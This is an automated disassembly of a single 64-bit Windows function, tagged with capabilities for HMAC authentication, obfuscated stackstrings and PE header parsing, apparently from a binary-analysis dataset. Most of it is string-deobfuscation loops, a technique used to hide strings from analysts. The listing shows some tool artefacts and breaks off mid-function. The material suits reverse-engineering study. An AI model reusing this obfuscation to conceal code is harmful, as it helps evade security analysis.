Function at 0x140021880
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x658
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x5c0], xmm7
movaps xmmword [rbp + 0x5b0], xmm6
mov qword [rbp + 0x5a8], 0xfffffffffffffffe
call fcn.140043770
call fcn.140029070
cmp eax, 0xc0000462
je 0x1400218db
call fcn.140029940
test al, al
jne 0x1400218db
call fcn.140029a90
test al, al
je 0x140021cd2
cmp byte [0x1400a72f8], 0
je 0x140021cbe
movabs rax, 0xeae8e8c8bbffacf3
mov qword [rbp + 0x1f0], rax
mov dword [rbp + 0x1f8], 0xe1efede6
mov word [rbp + 0x1fc], 0xadeb
mov qword [rbp + 0x1fe], 0
mov qword [rbp + 0x203], 0
lea rsi, [rbp + 0x1f0]
call fcn.1400372c0
mov rdi, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x14002197c
lea r9d, [rax - 0x65566a24]
lea r8d, [rax + rdx]
add r8d, 0x9aa995dc
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xfc
add rdi, rcx
mov r9, rdi
movzx edx, r8b
not rdx
add rax, rdx
mov rdi, r9
inc rax
cmp rax, 0x1b
jae 0x140021cb6
cmp rdi, rax
ja 0x140021ca6
movzx r8d, byte [rbp + rax + 0x1f0]
movzx edx, r8b
lea r10, [rcx + 1]
cmp rdi, r10
jae 0x1400219f0
cmp rcx, rax
ja 0x140021caf
lea r9, [rdi + rcx]
cmp r9, rax
jbe 0x140021a90
lea r8, [rcx + 2]
cmp rdi, r8
je 0x140021b27
lea r8, [rcx + 5]
cmp rdi, r8
jne 0x140021b4d
lea r10d, [rax - 0x56592cc8]
lea r8d, [rax + rdx]
add r8d, 0xa9a6d338
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x78
jmp 0x140021962
jne 0x140021a00
mov r10, rcx
jmp 0x140021a7b
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x140021afd
lea r8d, [rax + 0xefd3d5c]
lea r9d, [rax + rdx]
add r9d, 0xefd3d5c
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0x7c
mov byte [rbp + rax + 0x1f0], r9b
movzx r8d, r9b
not rcx
add rcx, rax
sub rcx, r8
lea eax, [rcx + 0x62de1c70]
lea r8d, [rcx + rdx]
add r8d, 0x62de1c70
and eax, edx
add eax, eax
sub r8d, eax
add r8b, 0xf0
mov byte [rbp + rcx + 0x1f0], r8b
sub rcx, rdi
inc rdi
movzx r8d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
movzx ecx, r8b
add rax, r10
add rax, rcx
mov rcx, r10
jmp 0x14002196f
lea r11, [rcx + 4]
cmp rdi, r11
jbe 0x140021b22
lea ebx, [rax - 0x36ad83c]
lea r11d, [rax + rdx]
add r11d, 0xfc9527c4
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0xa4
cmp rdi, 8
ja 0x140021c15
cmp rdi, r10
je 0x1400219f2
lea r8, [rcx + 2]
cmp rdi, r8
jne 0x140021bbe
lea r9d, [rax + 0x7d0e6d08]
lea r8d, [rax + rdx]
add r8d, 0x7d0e6d08
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xc8
jmp 0x14002195f
lea r9, [rcx + 5]
cmp rdi, r9
je 0x14002193d
lea r9, [rcx + 2]
cmp rdi, r9
je 0x140021b83
lea r9, [rcx + 7]
cmp rdi, r9
jne 0x14002199b
jmp 0x140021b27
cmp rdi, r10
jne 0x140021b7a
lea ecx, [rax - 0x40863ef4]
lea r8d, [rdx + rax]
add r8d, 0xbf79c10c
and ecx, edx
add ecx, ecx
sub r8d, ecx
add r8b, 0xac
mov byte [rbp + rax + 0x1f0], r8b
jmp 0x140021b86
lea r8, [rcx + 4]
cmp rdi, r8
jne 0x140021929
mov r9d, eax
or r9d, 0x51689160
lea r8d, [r9 + rdx]
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x60
jmp 0x14002195f
lea r11, [rcx + 3]
cmp rdi, r11
jne 0x140021b91
mov r10, rcx
dec rax
mov rcx, r10
jmp 0x14002196f
lea r11, [rcx + 2]
cmp rdi, r11
jne 0x140021bef
lea r10d, [rax + 0x435dde8c]
lea r8d, [rax + rdx]
add r8d, 0x435dde8c
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x2c
jmp 0x140021962
lea r8, [rcx + 3]
cmp rdi, r8
jne 0x140021c62
lea r10d, [rax + 0x24d02b30]
lea r8d, [rax + rdx]
add r8d, 0x24d02b30
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0xb0
jmp 0x140021962
lea ebx, [rax + 0x53e0df14]
lea r11d, [rax + rdx]
add r11d, 0x53e0df14
and ebx, edx
add ebx, ebx
sub r11d, ebx
add r11b, 0x74
cmp rdi, 8
jbe 0x140021ac3
mov r10d, eax
or r10d, 0x135aa020
lea r11d, [r10 + rdx]
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r8b, r11b
add r8b, 0x20
lea r10d, [rax + 0x673b7f34]
lea r11d, [rax + rdx]
add r11d, 0x673b7f34
and r10d, edx
add r10d, r10d
sub r11d, r10d
add r11b, r8b
add r11b, 0x94
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140021962
lea r8, [rcx + 5]
cmp rdi, r8
jne 0x140021c8c
lea r10d, [rax - 0x336e16a8]
lea r8d, [rax + rdx]
add r8d, 0xcc91e958
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x98
jmp 0x140021c33
lea r8, [rcx + 7]
cmp rdi, r8
je 0x140021b27
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x14002196f
lea rsi, [rbp + 0xb6c274]
jmp 0x140021cb6
lea rsi, [rbp + 0x155e360]
mov rcx, rsi
call fcn.14006a6f0
mov rsi, qword [0x1400adc08]
call qword [0x1400adb98]
mov rcx, rax
xor edx, edx
call rsi
cmp byte [0x1400a72f8], 0
je 0x140021fee
movaps xmm0, xmmword [0x140086d60]
movaps xmmword [rbp + 0x1f0], xmm0
movabs rax, 0x6b6b585f6858094b
mov qword [rbp + 0x200], rax
mov byte [rbp + 0x208], 0x2e
mov qword [rbp + 0x209], 0
mov dword [rbp + 0x211], 0
movabs rdi, 0x703c89ac9025a9bc
lea rsi, [rbp + 0x1f0]
movabs rbx, 0x3e6c742adb36f7c6
movabs r14, 0x68bd7189b69883f2
call fcn.1400372c0
mov r15, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x140021d97
lea ecx, [rax + 0x221fb9b1]
lea r9d, [rdx + rax]
add r9d, 0x221fb9b1
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0x29
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
inc rax
cmp rax, 0x25
jae 0x140021fe6
cmp r15, rax
ja 0x140021fd6
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp r15, r8
jae 0x140021df0
cmp rcx, rax
ja 0x140021fdf
lea r10, [r15 + rcx]
cmp r10, rax
jbe 0x140021e30
cmp r15, r8
je 0x140021d60
lea r9, [rcx + 0xa]
cmp r15, r9
je 0x140021d84
lea r9, [rcx + 9]
cmp r15, r9
je 0x140021e6a
jmp 0x140021d3f
jne 0x140021e00
mov r8, rcx
jmp 0x140021ed8
lea r10, [rcx + 2]
cmp r15, r10
jne 0x140021ee7
lea r8d, [rax + 0x5f]
mov r9d, edx
and r9d, r8d
add rdx, rax
add r9, r9
sub rdx, r9
add rdx, rbx
jmp 0x140021f90
lea r10, [rcx + 2]
cmp r15, r10
jbe 0x140021f11
lea r12d, [rax + 0x231f374b]
lea r11d, [rax + rdx]
add r11d, 0x231f374b
and r12d, edx
add r12d, r12d
sub r11d, r12d
add r11b, 0xf3
cmp r15, r8
je 0x140021df2
cmp r15, r10
jne 0x140021f6b
lea r9d, [rax - 0x271d2db3]
lea r10d, [rax + rdx]
add r10d, 0xd8e2d24d
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xe5
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx + 0x46939874]
lea r9d, [rcx + rdx]
add r9d, 0x46939874
and eax, edx
add eax, eax
sub r9d, eax
add r9b, 0xd4
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, r15
inc r15
movzx r9d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
movzx ecx, r9b
add rax, r8
add rax, rcx
jmp 0x140021d87
lea r10, [rcx + 4]
cmp r15, r10
jne 0x140021f50
lea r8d, [rax + 0xad]
mov r9d, edx
and r9d, r8d
add rdx, rax
add r9, r9
sub rdx, r9
add rdx, r14
add r15, rcx
jmp 0x140021f90
cmp r15, r8
je 0x140021d60
cmp r15, r10
je 0x140021faa
lea r12d, [rax + 0x6db0c627]
lea r11d, [rax + rdx]
add r11d, 0x6db0c627
and r12d, edx
add r12d, r12d
sub r11d, r12d
add r11b, 0xef
cmp r15, r8
je 0x140021df2
jmp 0x140021e61
lea r10, [rcx + 3]
cmp r15, r10
je 0x140021faa
lea r10, [rcx + 9]
cmp r15, r10
jne 0x140021db6
jmp 0x140021d60
lea r9, [rcx + 4]
cmp r15, r9
jne 0x140021fa1
lea r8d, [rax + 0xb6]
mov r9d, edx
and r9d, r8d
add rdx, rax
add r9, r9
sub rdx, r9
add rdx, rdi
nop dword [rax]
not edx
or rdx, 0xffffffffffffff00
add rax, rdx
jmp 0x140021d8a
lea r9, [rcx + 5]
cmp r15, r9
jne 0x140021fb2
mov r8, rcx
jmp 0x140021d84
cmp rcx, 0xf
ja 0x140021d60
lea r9, [rcx + 3]
cmp r15, r9
je 0x140021d60
mov byte [rbp + rax + 0x1f0], r11b
jmp 0x140021d8a
lea rsi, [rbp + 0x75ea4b]
jmp 0x140021fe6
lea rsi, [rbp + 0x1452424]
mov rcx, rsi
call fcn.14006a6f0
lea rcx, [rbp - 0x5c]
call fcn.1400452c0
mov byte [rbp + 0xc0], 0x4b
mov byte [rbp + 0xc1], 0x42
mov byte [rbp + 0xc2], 0x64
mov byte [rbp + 0xc3], 0x5f
mov byte [rbp + 0xc4], 0x71
mov byte [rbp + 0xc5], 0x76
mov byte [rbp + 0xc6], 0x6c
mov byte [rbp + 0xc7], 0x77
mov byte [rbp + 0xc8], 0x7f
mov byte [rbp + 0xc9], 0x7b
mov byte [rbp + 0xca], 0x64
mov byte [rbp + 0xcb], 0x5b
mov byte [rbp + 0xcc], 0x81
mov byte [rbp + 0xcd], 0x7b
mov byte [rbp + 0xce], 0x7c
mov byte [rbp + 0xcf], 0x6d
mov byte [rbp + 0xd0], 0x75
mov byte [rbp + 0xd1], 0x3b
mov byte [rbp + 0xd2], 0x3a
mov byte [rbp + 0xd3], 0x64
mov byte [rbp + 0xd4], 0x5c
mov byte [rbp + 0xd5], 0x69
mov byte [rbp + 0xd6], 0x7b
mov byte [rbp + 0xd7], 0x73
mov byte [rbp + 0xd8], 0x6a
mov byte [rbp + 0xd9], 0x69
mov byte [rbp + 0xda], 0x7a
mov byte [rbp + 0xdb], 0x36
mov byte [rbp + 0xdc], 0x6c
mov byte [rbp + 0xdd], 0x74
mov byte [rbp + 0xde], 0x74
mov byte [rbp + 0xdf], 0
mov eax, 3
nop dword [rax]
add byte [rbp + rax + 0xbd], 0xf8
add byte [rbp + rax + 0xbe], 0xf8
add byte [rbp + rax + 0xbf], 0xf8
cmp rax, 0x1f
je 0x14002210c
add byte [rbp + rax + 0xc0], 0xf8
add rax, 4
jmp 0x1400220e0
xorps xmm0, xmm0
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm0
lea rcx, [rbp + 0xc0]
call fcn.14006afa0
test rax, rax
js 0x140025ed7
mov rsi, rax
cmp rax, 0xf
ja 0x14002216f
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], 0xf
lea rcx, [rbp + 0x1f0]
lea rdx, [rbp + 0xc0]
mov r8, rsi
call fcn.140084900
add rsi, rbp
add rsi, 0x1f0
jmp 0x1400221d9
mov rax, rsi
or rax, 0xf
cmp rax, 0x17
mov ebx, 0x16
cmovae rbx, rax
cmp rbx, 0xfff
jb 0x1400221a3
lea rcx, [rbx + 0x28]
call fcn.14004fb68
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x1400221af
lea rcx, [rbx + 1]
call fcn.14004fb68
mov rdi, rax
mov qword [rbp + 0x1f0], rdi
mov qword [rbp + 0x200], rsi
mov qword [rbp + 0x208], rbx
lea rdx, [rbp + 0xc0]
mov rcx, rdi
mov r8, rsi
call fcn.140084900
add rsi, rdi
mov byte [rsi], 0
lea rcx, [rbp + 0x1f0]
call fcn.140044330
mov ebx, eax
mov rax, qword [rbp + 0x208]
cmp rax, 0x10
jb 0x14002222f
mov rcx, qword [rbp + 0x1f0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x14002222a
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140025e76
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14004fbac
mov byte [rbp + 0x1f0], 0x49
mov byte [rbp + 0x1f1], 0x40
mov byte [rbp + 0x1f2], 0x62
mov byte [rbp + 0x1f3], 0x56
mov byte [rbp + 0x1f4], pe_nt_image_headers64
mov byte [rbp + 0x1f5], 0x75
mov byte [rbp + 0x1f6], 0x6d
mov byte [rbp + 0x1f7], pe_nt_image_headers64
mov byte [rbp + 0x1f8], 0x67
mov byte [rbp + 0x1f9], 0x73
mov byte [rbp + 0x1fa], 0x26
mov byte [rbp + 0x1fb], 0x4c
mov byte [rbp + 0x1fc], 0x6f
mov byte [rbp + 0x1fd], 0x72
mov byte [rbp + 0x1fe], 0x6b
mov byte [rbp + 0x1ff], 0x79
mov byte [rbp + 0x200], 0x62
mov byte [rbp + 0x201], 0x5d
mov byte [rbp + 0x202], 0x6f
mov byte [rbp + 0x203], 0x74
mov byte [rbp + 0x204], 0x6a
mov byte [rbp + 0x205], 0x75
mov byte [rbp + 0x206], 0x7d
mov byte [rbp + 0x207], 0x79
mov byte [rbp + 0x208], 0x26
mov byte [rbp + 0x209], 0x4a
mov byte [rbp + 0x20a], 0x6b
mov byte [rbp + 0x20b], 0x6c
mov byte [rbp + 0x20c], 0x6b
mov byte [rbp + 0x20d], 0x74
mov byte [rbp + 0x20e], 0x6a
mov byte [rbp + 0x20f], 0x6b
mov byte [rbp + 0x210], pe_nt_image_headers64
mov byte [rbp + 0x211], 0x62
mov byte [rbp + 0x212], 0x53
mov byte [rbp + 0x213], 0x79
mov byte [rbp + 0x214], 0x53
mov byte [rbp + 0x215], 0x76
mov byte [rbp + 0x216], 0x4b
mov byte [rbp + 0x217], 0x74
mov byte [rbp + 0x218], 0x6d
mov byte [rbp + 0x219], 0x34
mov byte [rbp + 0x21a], 0x6b
mov byte [rbp + 0x21b], 0x7e
mov byte [rbp + 0x21c], 0x6b
mov byte [rbp + 0x21d], 0
mov eax, 4
nop word cs:[rax + rax]
add byte [rbp + rax + 0x1ec], 0xfa
add byte [rbp + rax + 0x1ed], 0xfa
add byte [rbp + rax + 0x1ee], 0xfa
add byte [rbp + rax + 0x1ef], 0xfa
add byte [rbp + rax + 0x1f0], 0xfa
add rax, 5
cmp rax, 0x31
jne 0x140022380
xorps xmm0, xmm0
movaps xmmword [rbp + 0xd0], xmm0
movaps xmmword [rbp + 0xc0], xmm0
lea rsi, [rbp + 0x1f0]
mov rcx, rsi
call fcn.14006afa0
test rax, rax
js 0x140025ed7
mov rdi, rax
cmp rax, 0xf
ja 0x140022418
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], 0xf
lea rcx, [rbp + 0xc0]
lea rdx, [rbp + 0x1f0]
mov r8, rdi
call fcn.140084900
add rdi, rbp
add rdi, 0xc0
jmp 0x140022483
mov rax, rdi
or rax, 0xf
cmp rax, 0x17
mov r15d, 0x16
cmovae r15, rax
cmp r15, 0xfff
jb 0x14002244d
lea rcx, [r15 + 0x28]
call fcn.14004fb68
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140022459
lea rcx, [r15 + 1]
call fcn.14004fb68
mov r14, rax
mov qword [rbp + 0xc0], r14
mov qword [rbp + 0xd0], rdi
mov qword [rbp + 0xd8], r15
lea rdx, [rbp + 0x1f0]
mov rcx, r14
mov r8, rdi
call fcn.140084900
add rdi, r14
mov byte [rdi], 0
lea rcx, [rbp + 0xc0]
call fcn.140044330
mov edi, eax
mov rax, qword [rbp + 0xd8]
cmp rax, 0x10
jb 0x1400224d9
mov rcx, qword [rbp + 0xc0]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1400224d4
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140025e76
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.14004fbac
cmp dword [rbp - 0x58], 6
movzx eax, byte [0x1400a72f8]
jne 0x140022947
cmp dword [rbp - 0x54], 1
jne 0x140022947
test al, al
je 0x140023043
movabs rax, 0x6d2d6c31be716eb
mov qword [rbp + 0x1f0], rax
mov byte [rbp + 0x1f8], 0x3e
mov qword [rbp + 0x1f9], 0
mov qword [rbp + 0x1ff], 0
movabs rdi, 0xaeebcfafd9dcd5ec
movabs rbx, 0x122904fcd8449bb2
movabs r14, 0xae160369c6c2ae0b
call fcn.1400372c0
mov r15, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x140022593
lea ecx, [rax + 0x131a27e1]
lea r9d, [rdx + rax]
add r9d, 0x131a27e1
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xd9
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
inc rax
cmp rax, 0x17
jae 0x140022fe6
cmp r15, rax
ja 0x140022fd6
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp r15, r8
jae 0x140022610
cmp rcx, rax
ja 0x140022fdf
lea r10, [r15 + rcx]
cmp r10, rax
jbe 0x1400226b0
lea r9, [rcx + 0x10]
cmp r15, r9
je 0x140022580
lea r8, [rcx + 9]
cmp r15, r8
je 0x1400227b7
lea r8, [rcx + 6]
cmp r15, r8
jne 0x140022877
lea r10, [rax + rdi]
lea r8, [r10 + rdx]
mov r9d, edx
and r9d, r10d
mov r10b, 0x8c
jmp 0x1400227e0
jne 0x140022620
mov r8, rcx
jmp 0x14002269b
lea r10, [rcx + 3]
cmp r15, r10
jne 0x1400226da
lea r9d, [rax - 0x60f8b643]
lea r10d, [rdx + rax]
add r10d, 0x9f0749bd
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xd5
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
lea eax, [rcx - 0x3dfd6dcc]
lea r9d, [rcx + rdx]
add r9d, 0xc2029234
and eax, edx
add eax, eax
sub r9d, eax
add r9b, 0x94
mov byte [rbp + rcx + 0x1f0], r9b
sub rcx, r15
inc r15
movzx r9d, byte [rbp + rcx + 0x1ee]
add rcx, 0xfffffffffffffffe
mov rax, rcx
movzx ecx, r9b
add rax, r8
add rax, rcx
jmp 0x140022583
lea r10, [rcx + 0xa]
cmp r15, r10
jae 0x14002270e
lea r11d, [rax + 0x22fb4877]
lea r10d, [rax + rdx]
add r10d, 0x22fb4877
and r11d, edx
add r11d, r11d
sub r10d, r11d
add r10b, 0xbf
jmp 0x140022736
lea r10, [rcx + 4]
cmp r15, r10
jne 0x1400227c2
lea r9d, [rax - 0x7f33e2e3]
lea r8d, [rax + rdx]
add r8d, 0x80cc1d1d
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x35
add r15, rcx
jmp 0x1400228f9
cmp r15, r8
je 0x140022612
lea r11d, [rax - 0x21630e3d]
lea r10d, [rax + rdx]
add r10d, 0xde9cf1c3
and r11d, edx
add r11d, r11d
sub r10d, r11d
add r10b, 0xab
lea r11, [rcx + 5]
cmp r15, r11
jbe 0x1400227a1
lea r12d, [rax + 0x55e0445b]
lea r10d, [rax + rdx]
add r10d, 0x55e0445b
and r12d, edx
add r12d, r12d
sub r10d, r12d
add r10b, 0x83
lea r12, [rcx + 9]
cmp r15, r12
jbe 0x14002281b
lea r9d, [rax + 0x347d361e]
lea r10d, [rax + rdx]
add r10d, 0x347d361e
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x2e
cmp rcx, 3
ja 0x14002255c
mov byte [rbp + rax + 0x1f0], r10b
jmp 0x140022586
cmp r15, r8
je 0x14002255c
lea r12, [rcx + 2]
cmp r15, r12
jne 0x1400228a8
mov r8, rcx
dec rax
jmp 0x140022583
lea r10, [rcx + 6]
cmp r15, r10
jne 0x140022865
lea r10, [rax + r14]
lea r8, [r10 + rdx]
mov r9d, edx
and r9d, r10d
mov r10b, 0xb3
add r9d, r9d
sub r8d, r9d
add r8b, r10b
lea r9d, [rax + 0x5910b8cf]
lea r10d, [rdx + rax]
add r10d, 0x5910b8cf
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, r8b
add r10b, 0x57
mov byte [rbp + rax + 0x1f0], r10b
add r15, rcx
jmp 0x1400228f9
cmp r15, r8
je 0x140022612
lea r9, [rcx + 3]
cmp r15, r9
je 0x14002262d
lea r9, [rcx + 2]
cmp r15, r9
jne 0x140022908
lea r9d, [rax - 0x6db1f53c]
lea r8d, [rax + rdx]
add r8d, 0x924e0ac4
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xa4
add r15, rcx
jmp 0x1400228f9
lea r10, [rcx + 2]
cmp r15, r10
jne 0x1400225b2
jmp 0x14002255c
lea r8, [rcx + 4]
cmp r15, r8
jne 0x140022548
lea r9d, [rax + 0x1fd366da]
lea r8d, [rax + rdx]
add r8d, 0x1fd366da
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xa
add r15, rcx
jmp 0x1400228f9
lea r12, [rcx + 3]
cmp r15, r12
jne 0x1400228d5
lea r9d, [rax - 0x4c4ee6ff]
lea r8d, [rax + rdx]
add r8d, 0xb3b11901
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xf9
add r15, rcx
jmp 0x1400228f9
cmp r15, r11
jne 0x140022923
lea r9d, [rax - 0x6585611]
lea r8d, [rax + rdx]
add r8d, 0xf9a7a9ef
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x77
movzx edx, r8b
not rdx
add rax, rdx
jmp 0x140022586
cmp r15, r11
jne 0x140022935
lea r10, [rax + rbx]
lea r8, [r10 + rdx]
mov r9d, edx
and r9d, r10d
mov r10b, 0x22
jmp 0x1400227e0
lea r12, [rcx + 4]
cmp r15, r12
je 0x140022612
jmp 0x14002275e
lea r9, [rcx + 7]
cmp r15, r9
jne 0x14002278a
jmp 0x14002255c
test bl, bl
je 0x140022ca6
test al, al
je 0x14002301a
movabs rax, 0x6042465b93576653
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0xad61
mov qword [rbp + 0x1fa], 0
call fcn.1400372c0
mov rdi, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
jmp 0x1400229b7
lea rdx, [rcx + 2]
cmp rdi, rdx
jne 0x14002297c
nop dword [rax]
movzx edx, r10b
add rax, rcx
add rax, rdx
inc rax
cmp rax, 0x12
jae 0x140023012
cmp rdi, rax
ja 0x140022ff0
movzx r10d, byte [rbp + rax + 0x1f0]
movzx edx, r10b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x140022a30
cmp rcx, rax
ja 0x140023002
lea r9, [rdi + rcx]
cmp r9, rax
jbe 0x140022aa0
lea r11, [rcx + 0xa]
cmp rdi, r11
je 0x140022b5e
lea r8, [rcx + 8]
cmp rdi, r8
jne 0x140022b69
lea r10d, [rax - 0x67c78a9a]
lea r8d, [rax + rdx]
add r8d, 0x98387566
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0x36
jmp 0x140022bc2
je 0x1400229a0
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x140022b2d
lea r9d, [rax - 0x7166412b]
lea r8d, [rax + rdx]
add r8d, 0x8e99bed5
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x2d
lea r9d, [rax + 0x99eb691]
lea r10d, [rax + rdx]
add r10d, 0x99eb691
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, r8b
add r10b, 9
mov byte [rbp + rax + 0x1f0], r10b
add rdi, rcx
jmp 0x140022bbf
lea r11, [rcx + 9]
cmp rdi, r11
jae 0x140022acf
lea r11d, [rax - 0x6b2f4017]
lea r10d, [rax + rdx]
add r10d, 0x94d0bfe9
and r11d, edx
add r11d, r11d
sub r10d, r11d
add r10b, 0xa1
cmp rdi, r8
jne 0x140022afc
jmp 0x140022b3a
cmp rdi, r8
je 0x1400229a0
lea r11d, [rax + 0x351fbe1d]
lea r10d, [rax + rdx]
add r10d, 0x351fbe1d
and r11d, edx
add r11d, r11d
sub r10d, r11d
add r10b, 0x35
cmp rdi, r8
je 0x140022b3a
lea r11, [rcx + 4]
cmp rdi, r11
jne 0x140022b97
lea r10d, [rax + 0x45e5399f]
lea r8d, [rax + rdx]
add r8d, 0x45e5399f
and r10d, edx
add r10d, r10d
sub r8d, r10d
add r8b, 0xa7
jmp 0x140022bc2
lea r9, [rcx + 2]
cmp rdi, r9
jne 0x1400229d6
lea ecx, [rax - 0x2002c941]
lea r9d, [rdx + rax]
add r9d, 0xdffd36bf
and ecx, edx
add ecx, ecx
sub r9d, ecx
add r9b, 0xc7
mov byte [rbp + rax + 0x1f0], r9b
dec rax
mov rcx, r8
jmp 0x1400229aa
lea r8, [rcx + 4]
cmp rdi, r8
jne 0x140022990
lea r9d, [rax - 0x3e260ac8]
lea r8d, [rax + rdx]
add r8d, 0xc1d9f538
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x78
jmp 0x140022bbf
lea r9, [rcx + 5]
cmp rdi, r9
jne 0x140022bd4
lea r9d, [rax + 0x6f86b971]
lea r8d, [rax + rdx]
add r8d, 0x6f86b971
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0xe9
mov r9, rdi
movzx edx, r8b
not rdx
add rax, rdx
mov rdi, r9
jmp 0x1400229aa
lea r9, [rcx + 2]
cmp rdi, r9
jne 0x140022c19
lea r9d, [rax + 0x33403663]
lea r10d, [rax + rdx]
add r10d, 0x33403663
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x4b
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
mov rax, rcx
mov rcx, r8
jmp 0x140022c22
lea r9, [rcx + 3]
cmp rdi, r9
jne 0x140022c61
lea r8d, [rax - 0x37ef09b4]
lea r9d, [rax + rdx]
add r9d, 0xc810f64c
and r8d, edx
add r8d, r8d
sub r9d, r8d
add r9b, 0xec
mov byte [rbp + rax + 0x1f0], r9b
sub rax, rdi
inc rdi
movzx r10d, byte [rbp + rax + 0x1ee]
add rax, 0xfffffffffffffffe
jmp 0x1400229a0
lea r9, [rcx + 0x10]
cmp rdi, r9
jbe 0x140022c8e
lea r9d, [rax - 0x5522875e]
lea r10d, [rax + rdx]
add r10d, 0xaadd78a2
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0x92
mov edi, 0x11
test rcx, rcx
jne 0x140022b3a
mov byte [rbp + rax + 0x1f0], r10b
xor ecx, ecx
jmp 0x1400229aa
test al, al
setne al
and dil, al
cmp dil, 1
jne 0x14002301a
movabs rax, 0x6e8ece313df0cdb
mov qword [rbp + 0x1f0], rax
mov word [rbp + 0x1f8], 0xc9f8
mov qword [rbp + 0x1fa], 0
mov qword [rbp + 0x201], 0
call fcn.1400372c0
mov rdi, qword [rax]
call fcn.1400372d0
mov rcx, qword [rax]
xor eax, eax
nop word [rax + rax]
cmp rdi, rax
ja 0x140022ff9
movzx r9d, byte [rbp + rax + 0x1f0]
movzx edx, r9b
lea r8, [rcx + 1]
cmp rdi, r8
jae 0x140022d60
cmp rcx, rax
ja 0x14002300b
lea r10, [rdi + rcx]
cmp r10, rax
jbe 0x140022da0
lea r8, [rcx + 6]
cmp rdi, r8
jne 0x140022de6
mov r9d, eax
or r9d, 0xa4f19040
lea r8d, [r9 + rdx]
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x40
jmp 0x140022f80
je 0x140022e2d
lea r10, [rcx + 2]
cmp rdi, r10
je 0x140022daa
lea r10, [rcx + 3]
cmp rdi, r10
jne 0x140022f25
lea r9d, [rax - 0xd3aaec8]
lea r8d, [rax + rdx]
add r8d, 0xf2c55138
and r9d, edx
add r9d, r9d
sub r8d, r9d
add r8b, 0x78
jmp 0x140022f80
cmp r10, 6
jne 0x140022e39
lea r9d, [rax - 0x646456d8]
lea r10d, [rdx + rax]
add r10d, 0x9b9ba928
and r9d, edx
add r9d, r9d
sub r10d, r9d
add r10b, 0xe8
mov byte [rbp + rax + 0x1f0], r10b
movzx r9d, r10b
not rcx
add rcx, rax
sub rcx, r9
mov rax, rcx
mov rcx, r8
jmp 0x140022df3
lea r8, [rcx + 2]
cmp rdi, r8
